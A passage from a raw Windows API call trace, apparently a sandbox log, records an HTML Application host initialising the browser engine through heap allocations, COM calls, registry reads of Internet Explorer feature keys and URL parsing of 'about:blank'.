ppvObject=0x3ce5dc*=0x73888c7c) returned 0x0 [0030.380] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.380] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x4c3528, cchResult=0xc, pcchResult=0x3ce634, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3ce634*=0x0) returned 0x800c0011 [0030.380] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.380] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.380] IUnknown:Release (This=0x4cbaa4) returned 0x2 [0030.380] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xf) returned 0x4cf4e0 [0030.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf528 [0030.381] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x3cebf4, dwReserved=0x0 | out: ppSM=0x3cebf4*=0x4d60a0) returned 0x0 [0030.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xf) returned 0x4cf540 [0030.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x50) returned 0x4d5fe8 [0030.381] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3ceda4 | out: phkResult=0x3ceda4*=0x198) returned 0x0 [0030.381] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3ceda8 | out: phkResult=0x3ceda8*=0x1a4) returned 0x0 [0030.381] RegOpenKeyExW (in: hKey=0x1a4, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x3ced64 | out: phkResult=0x3ced64*=0x0) returned 0x2 [0030.382] RegOpenKeyExW (in: hKey=0x198, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x3ced64 | out: phkResult=0x3ced64*=0x0) returned 0x2 [0030.382] RegCloseKey (hKey=0x0) returned 0x6 [0030.382] RegCloseKey (hKey=0x0) returned 0x6 [0030.382] RegCloseKey (hKey=0x198) returned 0x0 [0030.382] RegCloseKey (hKey=0x1a4) returned 0x0 [0030.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x128) returned 0x4d9830 [0030.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4d9960 [0030.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf570 [0030.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2000) returned 0x4d99b8 [0030.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x50) returned 0x4db9c0 [0030.382] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4db9c0 | out: hHeap=0x4a0000) returned 1 [0030.382] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.382] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x3cebe8 | out: ppURI=0x3cebe8*=0x4cbaa4) returned 0x0 [0030.383] DllGetClassObject (in: rclsid=0x4d0cbc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ce4c0 | out: ppv=0x3ce4c0*=0x73888c70) returned 0x0 [0030.383] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3ce5ac | out: ppvObject=0x3ce5ac*=0x73888c7c) returned 0x0 [0030.383] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.383] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x4c3528, cchResult=0xc, pcchResult=0x3ce5f4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x3ce5f4*=0xc) returned 0x0 [0030.383] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d4aa0 [0030.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4aa0 | out: hHeap=0x4a0000) returned 1 [0030.383] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.383] DllGetClassObject (in: rclsid=0x4d0cbc*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ce4c0 | out: ppv=0x3ce4c0*=0x73888c70) returned 0x0 [0030.383] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3ce5ac | out: ppvObject=0x3ce5ac*=0x73888c7c) returned 0x0 [0030.383] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.384] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x4c3528, cchResult=0xc, pcchResult=0x3ce604, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3ce604*=0x0) returned 0x800c0011 [0030.384] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.384] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.384] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.384] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.384] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0030.385] IUnknown:Release (This=0x4cbaa4) returned 0x2 [0030.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x2c) returned 0x4bd750 [0030.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b47b0 [0030.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5c) returned 0x4db9c0 [0030.385] GetDC (hWnd=0x0) returned 0xfffffffff40106dc [0030.385] GetDeviceCaps (hdc=0xf40106dc, index=88) returned 96 [0030.385] ReleaseDC (hWnd=0x0, hDC=0xf40106dc) returned 1 [0030.385] MulDiv (nNumber=100000, nNumerator=96, nDenominator=96) returned 100000 [0030.385] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cee40 | out: phkResult=0x3cee40*=0x130) returned 0x0 [0030.386] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cee44 | out: phkResult=0x3cee44*=0x198) returned 0x0 [0030.386] RegOpenKeyExW (in: hKey=0x198, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x3cee00 | out: phkResult=0x3cee00*=0x0) returned 0x2 [0030.386] RegOpenKeyExW (in: hKey=0x130, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x3cee00 | out: phkResult=0x3cee00*=0x0) returned 0x2 [0030.386] RegCloseKey (hKey=0x0) returned 0x6 [0030.386] RegCloseKey (hKey=0x0) returned 0x6 [0030.386] RegCloseKey (hKey=0x130) returned 0x0 [0030.386] RegCloseKey (hKey=0x198) returned 0x0 [0030.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b49f0 [0030.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x44) returned 0x4b93b0 [0030.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x5c) returned 0x4dba28 [0030.386] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0030.386] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0030.386] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0030.386] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockShared") returned 0x77352560 [0030.387] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0030.387] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockShared") returned 0x773525a9 [0030.387] RtlInitializeConditionVariable () returned 0x4dba5c [0030.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x34) returned 0x4dba90 [0030.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x34) returned 0x4dbad0 [0030.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c3528 [0030.387] IUnknown:AddRef (This=0x4d21e8) returned 0x0 [0030.387] IUnknown:Release (This=0x4d21e8) returned 0x1 [0030.387] IUnknown:Release (This=0x73888cb0) returned 0x1 [0030.387] IUnknown:QueryInterface (in: This=0x4d21e8, riid=0x7350b75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cfc0c | out: ppvObject=0x3cfc0c*=0x4d21e8) returned 0x0 [0030.387] IUnknown:Release (This=0x4d21e8) returned 0x1 [0030.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4bd0c0 [0030.428] IUnknown_QueryService (in: punk=0x738896a4, guidService=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x4d2240 | out: ppvOut=0x4d2240*=0x0) returned 0x80004005 [0030.428] IUnknown:QueryInterface (in: This=0x738896a4, riid=0x753c42d8*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3cfb88 | out: ppvObject=0x3cfb88*=0x738896b8) returned 0x0 [0030.428] IServiceProvider:QueryService (in: This=0x738896b8, guidService=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x4d2240 | out: ppvObject=0x4d2240*=0x0) returned 0x80004005 [0030.428] IUnknown:Release (This=0x738896b8) returned 0x1 [0030.428] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x34) returned 0x4dbb10 [0030.428] IInternetSecurityManager:SetSecuritySite (This=0x4d3e68, pSite=0x4d2924) returned 0x0 [0030.428] IUnknown:Release (This=0x4d2924) returned 0x0 [0030.428] IUnknown:AddRef (This=0x4d2924) returned 0x28 [0030.428] IUnknown:QueryInterface (in: This=0x4d2924, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3cfbc0 | out: ppvObject=0x3cfbc0*=0x4d2928) returned 0x0 [0030.429] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x4d3e90 | out: ppvObject=0x4d3e90*=0x0) returned 0x80004002 [0030.429] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x4d3e8c | out: ppvObject=0x4d3e8c*=0x0) returned 0x80004002 [0030.429] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x4d3e88 | out: ppvObject=0x4d3e88*=0x738896bc) returned 0x0 [0030.429] IUnknown:Release (This=0x4d2928) returned 0x0 [0030.429] CoTaskMemAlloc (cb=0x6d) returned 0x4dbb50 [0030.429] CoTaskMemAlloc (cb=0x9) returned 0x4b4768 [0030.429] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4cf5a0 [0030.429] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4dbbc8 [0030.432] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0030.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4b9400 [0030.434] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4cf5b8 [0030.434] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf5d0 [0030.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4) returned 0x4cb940 [0030.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20) returned 0x4d4b18 [0030.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4cf5e8 [0030.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x94) returned 0x4dbc20 [0030.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x34) returned 0x4dbcc0 [0030.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x70) returned 0x4dbd00 [0030.437] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xf8) returned 0x4dbd78 [0030.437] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8b4) returned 0x4dbe78 [0030.437] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf600 [0030.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.437] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf618 [0030.437] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x84) returned 0x4dc738 [0030.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x800) returned 0x4dc7c8 [0030.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x800) returned 0x4dcfd0 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4c) returned 0x4dd7d8 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x800) returned 0x4dd830 [0030.439] IsCharSpaceW (wch=0x48) returned 0 [0030.439] IsCharAlphaNumericW (ch=0x5c) returned 0 [0030.439] IsCharSpaceW (wch=0x5c) returned 0 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x18) returned 0x4c3548 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x50) returned 0x4de038 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c3568 [0030.439] IsCharSpaceW (wch=0x41) returned 0 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4cf630 [0030.439] IsCharAlphaNumericW (ch=0x20) returned 0 [0030.439] IsCharSpaceW (wch=0x20) returned 1 [0030.439] IsCharSpaceW (wch=0x7b) returned 0 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d4b40 [0030.439] IsCharSpaceW (wch=0x20) returned 1 [0030.439] IsCharAlphaNumericW (ch=0x7b) returned 0 [0030.439] IsCharSpaceW (wch=0x62) returned 0 [0030.439] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de038 | out: hHeap=0x4a0000) returned 1 [0030.439] IsCharAlphaNumericW (ch=0x3a) returned 0 [0030.439] IsCharSpaceW (wch=0x3a) returned 0 [0030.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d4b68 [0030.445] IsCharAlphaNumericW (ch=0x3a) returned 0 [0030.445] IsCharSpaceW (wch=0x75) returned 0 [0030.445] IsCharAlphaNumericW (ch=0x28) returned 0 [0030.445] IsCharSpaceW (wch=0x28) returned 0 [0030.445] IsCharAlphaNumericW (ch=0x28) returned 0 [0030.445] IsCharSpaceW (wch=0x23) returned 0 [0030.445] IsCharSpaceW (wch=0x23) returned 0 [0030.445] IsCharSpaceW (wch=0x7d) returned 0 [0030.445] IsCharAlphaNumericW (ch=0x7d) returned 0 [0030.445] IsCharSpaceW (wch=0x29) returned 0 [0030.445] IsCharSpaceW (wch=0x75) returned 0 [0030.445] IsCharSpaceW (wch=0x75) returned 0 [0030.445] IsCharSpaceW (wch=0x29) returned 0 [0030.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c35a8 [0030.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x34) returned 0x4de240 [0030.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4b4050 [0030.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf648 [0030.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf660 [0030.445] CoTaskMemFree (pv=0x4dbb50) [0030.445] CoTaskMemFree (pv=0x4b4768) [0030.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4c35c8 [0030.445] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x769d0000 [0030.445] GetProcAddress (hModule=0x769d0000, lpProcName=0x6) returned 0x769d3e59 [0030.446] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0030.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x340) returned 0x4de280 [0030.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4a) returned 0x4de5e0 [0030.446] IsOS (dwOS=0x25) returned 1 [0030.446] GetSysColor (nIndex=26) returned 0xcc6600 [0030.446] IsOS (dwOS=0x25) returned 1 [0030.446] GetSysColor (nIndex=5) returned 0xffffff [0030.446] GetSysColor (nIndex=8) returned 0x0 [0030.446] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b4768 [0030.453] wcstol (in: _String="0,0,255", _EndPtr=0x3ce81c, _Radix=10 | out: _EndPtr=0x3ce81c*=",0,255") returned 0 [0030.453] wcstol (in: _String="0,255", _EndPtr=0x3ce81c, _Radix=10 | out: _EndPtr=0x3ce81c*=",255") returned 0 [0030.453] wcstol (in: _String="255", _EndPtr=0x3ce81c, _Radix=10 | out: _EndPtr=0x3ce81c*="") returned 255 [0030.453] wcstol (in: _String="128,0,128", _EndPtr=0x3ce81c, _Radix=10 | out: _EndPtr=0x3ce81c*=",0,128") returned 128 [0030.453] wcstol (in: _String="0,128", _EndPtr=0x3ce81c, _Radix=10 | out: _EndPtr=0x3ce81c*=",128") returned 0 [0030.453] wcstol (in: _String="128", _EndPtr=0x3ce81c, _Radix=10 | out: _EndPtr=0x3ce81c*="") returned 128 [0030.455] GetModuleHandleW (lpModuleName="EXPLORER.EXE") returned 0x0 [0030.455] GetModuleHandleW (lpModuleName="IEXPLORE.EXE") returned 0x0 [0030.455] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\PageSetup", ulOptions=0x0, samDesired=0x20019, phkResult=0x3cf8d4 | out: phkResult=0x3cf8d4*=0xa8) returned 0x0 [0030.455] SHGetValueW (in: hkey=0xa8, pszSubKey=0x0, pszValue="Print_Background", pdwType=0x0, pvData=0x3cf8d8, pcbData=0x3cf8d0*=0xa | out: pdwType=0x0, pvData=0x3cf8d8, pcbData=0x3cf8d0*=0xa) returned 0x2 [0030.455] RegCloseKey (hKey=0xa8) returned 0x0 [0030.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x80) returned 0x4e05c8 [0030.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf588 [0030.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x3a) returned 0x4b40e0 [0030.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6a) returned 0x4e0a50 [0030.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b4798 [0030.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x26) returned 0x4bd0f0 [0030.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6e) returned 0x4e0ac8 [0030.465] GetProcessHeap () returned 0x4a0000 [0030.465] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb50 | out: hHeap=0x4a0000) returned 1 [0030.465] GetProcessHeap () returned 0x4a0000 [0030.465] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4df5e0 | out: hHeap=0x4a0000) returned 1 [0030.465] GetProcessHeap () returned 0x4a0000 [0030.465] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cb950 | out: hHeap=0x4a0000) returned 1 [0030.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c35e8 [0030.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b47c8 [0030.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4c3608 [0030.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4b4128 [0030.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4dbb50 [0030.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4bd120 [0030.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d4bb8 [0030.467] GetAcceptLanguagesW () returned 0x0 [0030.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4b49a8 [0030.467] GetClassNameW (in: hWnd=0x700b6, lpClassName=0x3cfba4, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0030.467] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0030.467] GetParent (hWnd=0x700b6) returned 0x50018 [0030.467] GetClassNameW (in: hWnd=0x50018, lpClassName=0x3cfba4, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0030.467] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0030.467] GetParent (hWnd=0x50018) returned 0x0 [0030.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4c3628 [0030.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4bd150 [0030.467] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c3628 | out: hHeap=0x4a0000) returned 1 [0030.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4de638 [0030.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe) returned 0x4e06b0 [0030.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x94) returned 0x4e0b40 [0030.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4c3628 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4c3648 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4c3668 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe) returned 0x4e06c8 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4e06e0 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe) returned 0x4e06f8 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4e0710 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d4be0 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4d4c08 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4d4c30 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4c3688 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4c36a8 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4c36c8 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4c36e8 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4e0728 [0030.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4e0758 [0030.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4e0770 [0030.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4c3708 [0030.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe) returned 0x4e0788 [0030.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4e07a0 [0030.473] 